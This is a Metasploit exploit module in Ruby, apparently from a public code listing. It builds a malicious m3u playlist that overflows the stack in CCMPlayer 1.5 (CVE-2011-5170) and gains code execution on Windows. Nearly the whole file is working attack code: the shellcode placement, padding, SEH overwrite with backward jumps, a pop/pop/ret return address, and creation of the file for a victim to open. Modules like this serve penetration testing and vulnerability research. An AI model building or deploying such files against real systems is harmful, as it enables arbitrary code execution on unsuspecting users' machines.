95 lines
3.1 KiB
Ruby
95 lines
3.1 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'CCMPlayer 1.5 m3u Playlist Stack Based Buffer Overflow',
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'Description' => %q{
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This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening
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a m3u playlist with a long track name, a SEH exception record can be overwritten
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with parts of the controllable buffer. SEH execution is triggered after an
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invalid read of an injectable address, thus allowing arbitrary code execution.
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This module works on multiple Windows platforms including: Windows XP SP3,
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Windows Vista, and Windows 7.
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},
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'License' => MSF_LICENSE,
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'Author' => ['Rh0'], # discovery and metasploit module
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'References' =>
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[
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['CVE', '2011-5170'],
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['OSVDB', '77453'],
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['EDB', '18178']
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => 'true',
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},
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'Payload' =>
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{
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'Space' => 0x1000,
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'BadChars' => "\x00\x0d\x0a\x1a\x2c\x2e\x3a\x5c", # \x00\r\n\x1a,.:\\
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'DisableNops' => 'True',
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'CCMPlayer 1.5',
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{
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# pop esi / pop ebx / ret (in ccmplay.exe)
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# tweak it if necessary
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'Ret' => 0x00403ca7, # last NULL in buffer is accepted
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'Offset' => 0x1000
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Nov 30 2011', # to my knowledge
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.m3u']),
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])
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end
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def exploit
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m3u = "C:\\"
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# shellcode
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m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "nop").encode_string * 25
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m3u << payload.encoded
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# junk
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m3u << rand_text_alpha_upper(target['Offset'] - (25 + payload.encoded.length))
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# need an access violation when reading next 4 bytes as address (0xFFFFFFFF)
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# to trigger SEH
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m3u << [0xffffffff].pack("V")
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# pad
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m3u << rand_text_alpha_upper(3)
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# long jmp: jmp far back to shellcode
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m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4103").encode_string
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# NSEH: jmp short back to long jmp instruction
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m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string
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# pad (need more 2 bytes to fill up to 4, as jmp $-5 are only 2 bytes)
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m3u << rand_text_alpha_upper(2)
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# SEH Exception Handler Address -> p/p/r
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m3u << [target.ret].pack("V")
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m3u << ".mp3\r\n" # no crash without it
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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# Open CCMPlayer -> Songs -> Add -> Files of type: m3u -> msf.m3u => exploit
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file_create(m3u)
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end
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end
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